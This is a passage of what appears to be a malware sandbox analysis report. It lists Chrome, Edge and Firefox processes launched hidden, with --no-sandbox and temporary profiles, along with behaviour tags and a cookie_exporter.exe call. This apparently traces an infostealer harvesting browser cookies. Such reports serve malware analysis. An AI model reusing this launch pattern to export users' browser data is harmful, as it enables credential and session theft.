        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3256,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:1
        6⤵
        
        PID:1460
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3360,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:9
        6⤵
        
        PID:5876
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3392,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:1
        6⤵
        
        PID:2452
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3416,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:9
        6⤵
        
        PID:1200
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4044,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:1
        6⤵
        
        PID:1532
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5232
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ff9d4def208,0x7ff9d4def214,0x7ff9d4def220
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:836
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2124,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:2
        6⤵
        
        PID:3624
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --always-read-main-dll --field-trial-handle=1680,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:11
        6⤵
        
        PID:5468
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --always-read-main-dll --field-trial-handle=2316,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:13
        6⤵
        
        PID:3440
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2984,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3048 /prefetch:1
        6⤵
        
        PID:5312
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2992,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3052 /prefetch:1
        6⤵
        
        PID:2976
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --always-read-main-dll --field-trial-handle=3224,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3352 /prefetch:14
        6⤵
        
        PID:2784
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --always-read-main-dll --field-trial-handle=3240,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:14
        6⤵
        
        PID:4076
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --always-read-main-dll --field-trial-handle=3256,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:14
        6⤵
        
        PID:4544
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3344,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:1
        6⤵
        
        PID:1244
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3368,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:9
        6⤵
        
        PID:3360
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3408,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
        6⤵
        
        PID:2824
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3436,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:9
        6⤵
        
        PID:4308
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3496,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3380 /prefetch:1
        6⤵
        
        PID:5780
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3516,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:9
        6⤵
        
        PID:4720
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3588,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
        6⤵
        
        PID:1156
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=3596,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:9
        6⤵
        
        PID:724
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=3640,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:1
        6⤵
        
        PID:5528
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=3680,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:9
        6⤵
        
        PID:4796
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\t5ufggqe.buq" --always-read-main-dll --field-trial-handle=4700,i,15357758367497954149,11002856017530575233,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:14
        6⤵
        
        PID:2408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        7⤵
        
        PID:3700
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kqeuaxso.0gr"
        5⤵
        
        PID:2436
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\kqeuaxso.0gr
        6⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:5304
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1944 -prefsLen 27097 -prefMapHandle 1936 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {0bd926d3-a138-4a0f-868c-d5ee4c686af8} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        7⤵
        
        PID:1532
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2052 -prefsLen 27133 -prefMapHandle 2120 -prefMapSize 270279 -ipcHandle 2348 -initialChannelId {acabf2e5-186a-45a8-aad6-77af1a5daaf4} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        7⤵
        
        PID:5496
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\5675a9ca-1ca4-47da-bba9-f0fd78d47efa.dmp"
        7⤵
        
        PID:5444
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2820 -prefsLen 27133 -prefMapHandle 2816 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {f2f89ca1-7035-4c9a-99f0-876cd635e01d} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        7⤵
        
        PID:2052
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\684370f9-4dd4-4c61-b6fa-15968f740696.dmp"
        7⤵
        
        PID:1156
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2056 -prefsLen 27133 -prefMapHandle 2976 -prefMapSize 270279 -ipcHandle 2628 -initialChannelId {2d9e5f95-4727-4fde-a247-35c0dff9531e} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        7⤵
        
        PID:1644
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\1f60a613-f03f-46ea-850e-543e20073a5f.dmp"
        7⤵
        
        PID:1364
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2628 -prefsLen 27198 -prefMapHandle 3124 -prefMapSize 270279 -ipcHandle 3036 -initialChannelId {d5e35a45-487c-4ded-b037-0d6d0a5e0646} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        7⤵
        
        PID:2096
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3884 -prefsLen 27323 -prefMapHandle 3888 -prefMapSize 270279 -jsInitHandle 3892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3920 -initialChannelId {35310522-7089-484d-8c2b-f4eccb5707a5} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        7⤵
        Checks processor information in registry
        
        PID:1660
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\50a2ea49-7659-47cb-921c-e7f8e0c0ef48.dmp"
        7⤵
        
        PID:5188
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3036 -prefsLen 27323 -prefMapHandle 3920 -prefMapSize 270279 -ipcHandle 3536 -initialChannelId {064a2025-21c4-4abf-b707-6fe7920399f7} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        7⤵
        
        PID:3048
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\5612f48f-a404-452d-9827-519be9899212.dmp"
        7⤵
        
        PID:1260
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4260 -prefsLen 27323 -prefMapHandle 4264 -prefMapSize 270279 -ipcHandle 4284 -initialChannelId {3f7cef38-901b-408d-af7b-44e5a104e4b9} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        7⤵
        
        PID:708
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3144 -prefsLen 34822 -prefMapHandle 2936 -prefMapSize 270279 -jsInitHandle 3264 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4736 -initialChannelId {c96586d9-844c-4c79-b2fe-bdb514e6fda1} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        7⤵
        Checks processor information in registry
        
        PID:276
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5116 -prefsLen 35010 -prefMapHandle 5124 -prefMapSize 270279 -ipcHandle 4156 -initialChannelId {270c449a-9a91-40ac-9ab0-2b103d6c3554} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        7⤵
        Checks processor information in registry
        
        PID:5668
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4832 -prefsLen 32900 -prefMapHandle 3496 -prefMapSize 270279 -jsInitHandle 5192 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4860 -initialChannelId {cc210716-317b-4a69-96d5-53bb4f3a0854} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        7⤵
        Checks processor information in registry
        
        PID:4052
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5208 -prefsLen 32900 -prefMapHandle 5212 -prefMapSize 270279 -jsInitHandle 5216 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3300 -initialChannelId {7b861856-1a82-4f5d-bf20-5421572832f9} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        7⤵
        Checks processor information in registry
        
        PID:4060
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5596 -prefsLen 32900 -prefMapHandle 5592 -prefMapSize 270279 -jsInitHandle 5588 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5580 -initialChannelId {6781fad8-d166-48f4-84dc-e630e9c411cc} -parentPid 5304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        7⤵
        Checks processor information in registry
        
        PID:3716
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:1888
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9d86bdcf8,0x7ff9d86bdd04,0x7ff9d86bdd10
        6⤵
        
        PID:6024
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1988,i,3786757923953577239,16588935280324720753,262144 --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:2
        6⤵
        
        PID:908
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh" --field-trial-handle=1708,i,3786757923953577239,16588935280324720753,262144 --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:11
        6⤵
        
        PID:2784
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh" --field-trial-handle=2152,i,3786757923953577239,16588935280324720753,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:13
        6⤵
        
        PID:2976
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2812,i,3786757923953577239,16588935280324720753,262144 --variations-seed-version --mojo-platform-channel-handle=2820 /prefetch:1
        6⤵
        
        PID:4796
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dv0bohvv.0sh" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2824,i,3786757923953577239,16588935280324720753,262144 --variations-seed-version --mojo-platform-channel-handle=2832 /prefetch:1
        6⤵
        
        PID:5476
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
